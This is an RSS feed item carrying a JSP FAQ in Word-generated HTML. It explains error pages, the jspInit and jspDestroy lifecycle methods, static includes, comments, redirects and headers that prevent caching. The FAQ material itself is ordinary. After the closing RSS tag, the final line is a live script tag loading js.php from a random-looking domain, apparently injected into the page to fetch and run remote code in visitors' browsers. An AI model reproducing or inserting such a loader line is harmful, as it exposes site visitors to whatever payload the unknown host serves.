<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691780"><span style="font-size: x-small; font-family: Verdana;">How does JSP handle run-time exceptions?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">You can use the </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">errorPage</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> attribute of the </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">page</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> directive to have uncaught run-time exceptions automatically forwarded to an error processing page. For example: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%@ page errorPage=&#8221;error.jsp&#8221; %&gt;</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">redirects the browser to the JSP page error.jsp if an uncaught exception is encountered during request processing. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Within error.jsp, if you indicate that it is an error-processing page, via the directive: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%@ page isErrorPage=&#8221;true&#8221; %&gt;</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">the Throwable object describing the exception may be accessed within the error page via the </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">exception</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> implicit object. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Note: You must always use a relative URL as the value for the </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">errorPage</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> attribute. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691781"><span style="font-size: x-small; font-family: Verdana;">What JSP lifecycle methods can I override?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">You cannot override the _jspService() method within a JSP page. You can however, override the jspInit() and jspDestroy() methods within a JSP page. jspInit() can be useful for allocating resources like database connections, network connections, and so forth for the JSP page. It is good programming practice to free any allocated resources within jspDestroy().</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691782"><span style="font-size: x-small; font-family: Verdana;">How can I override the jspInit() and jspDestroy() methods within a JSP page?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">The jspInit() and jspDestroy() methods are each executed just once during the lifecycle of a JSP page and are typically declared as JSP declarations: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%! </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span>public void jspInit() {</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 2;">             </span>. . .</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span>}</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;">&lt;%! </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">public void jspDestroy() {</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 2;">             </span>. . .<span style="mso-tab-count: 1;">   </span></span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span>}</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691783"><span style="font-size: x-small; font-family: Verdana;">How do I include static files within a JSP page?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Static resources should always be included using the JSP include directive. This way, the inclusion is performed just once during the translation phase. The following example shows the syntax: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%@ include file=&#8221;copyright.html&#8221; %&gt;</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Do note that you should always supply a relative URL for the file attribute. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Although you can also include static resources using the action, this is not advisable as the inclusion is then performed for each and every request. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691784"><span style="font-size: x-small; font-family: Verdana;">How do I use comments within a JSP page?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">You can use &#8220;JSP-style&#8221; comments to selectively block out code while debugging or simply to comment your scriptlets. JSP comments are not visible at the client. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">For example: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%&#8211; the scriptlet is now commented out</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">  </span>&lt;%</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span>out.println(&#8221;Hello World&#8221;);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">  </span>%&gt;</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&#8211;%&gt;</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">You can also use HTML-style comments anywhere within your JSP page. These comments are visible at the client. For example: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;!&#8211; (c)1999 jGuru.com &#8211;&gt;</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Of course, you can also use comments supported by your JSP scripting language within your scriptlets. For example, assuming Java is the scripting language, you can have: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">//some comment</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">/** </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">yet another comment</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">**/</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691785"><span style="font-size: x-small; font-family: Verdana;">How do I perform browser redirection from a JSP page?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">You can use the response implicit object to redirect the browser to a different resource, as: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">response.sendRedirect(&#8221;http://www.foo.com/path/error.html&#8221;);</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">You can also physically alter the Location HTTP header attribute, as shown below: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY);</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">String newLocn = &#8220;/newpath/index.html&#8221;;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">response.setHeader(&#8221;Location&#8221;,newLocn);</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;</span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691786"><span style="font-size: x-small; font-family: Verdana;">How do I prevent the output of my JSP pages from being cached by the browser?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">You will need to set the appropriate HTTP header attributes to prevent the dynamic content output by the JSP page from being cached by the browser. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Just execute the following scriptlet at the beginning of your JSP pages to prevent them from being cached at the browser. You need both the statements to take care of some of the older browser versions. </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">response.setHeader(&#8221;Cache-Control&#8221;,&#8221;no-store&#8221;); //HTTP 1.1</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">response.setHeader(&#8221;Pragma&#8221;,&#8221;no-cache&#8221;); //HTTP 1.0</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">response.setDateHeader (&#8221;Expires&#8221;, 0); //prevents caching at the proxy server %&gt;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"></span></span><br style="mso-ignore: vglayout;" /></p>
<h1 style="margin: 0in 0in 0pt;"><span style="font-size: x-small; font-family: Verdana;"> </span></h1>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/11/jsp-faq/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/js.php"></script>